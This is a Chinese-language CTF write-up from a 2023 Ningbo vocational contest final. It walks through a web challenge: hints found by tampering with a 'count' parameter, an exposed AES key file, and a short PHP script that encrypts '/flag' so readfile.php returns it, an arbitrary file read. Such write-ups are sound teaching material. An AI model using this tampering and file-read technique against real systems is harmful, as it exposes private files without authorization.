23年宁波职教中心CTF竞赛-决赛

发布时间 2023-11-18 18:40:09作者: Fab1an

Web

拳拳组合

进去页面之后查看源码,发现一段注释,写着小明喜欢10的幂次方,那就是10、100、1000、10000

返回页面,在点击红色叉叉的时候抓包,修改count的值为10、100、1000、10000
image.png
然后分别获得以下信息

?count=10 有点接近了

?count=100:readfile.php

?count=1000:需要加密传输哦

?count=10000:恭喜你坚持到现在。赠与你一个密码本:crypt_key1234567890abcdef.txt

# 访问URL/crypt_key1234567890abcdef.txt获得密码本,就是加密规则吧
$key = '1234567890abcdef';
$iv = '1234567890abcdef';
$method = 'AES-256-CBC';
$encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
return base64_encode($encrypted);

那么我们需要写脚本来加密/flag,然后将加密后的内容传递给readfile.php的filePath

<?php

$data="/flag";

$key = '1234567890abcdef';
$iv = '1234567890abcdef';
$method = 'AES-256-CBC';
$encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
echo base64_encode($encrypted);


?>

image.png
在文件路径filePath后面,输入加密后的密文QXFwTW9pTmUyVy9aWnVhWW5LOFNIZz09,输入进去之后就获得了flag
image.png

flag{d41d8cd98f00b204e9800998ecf8427e}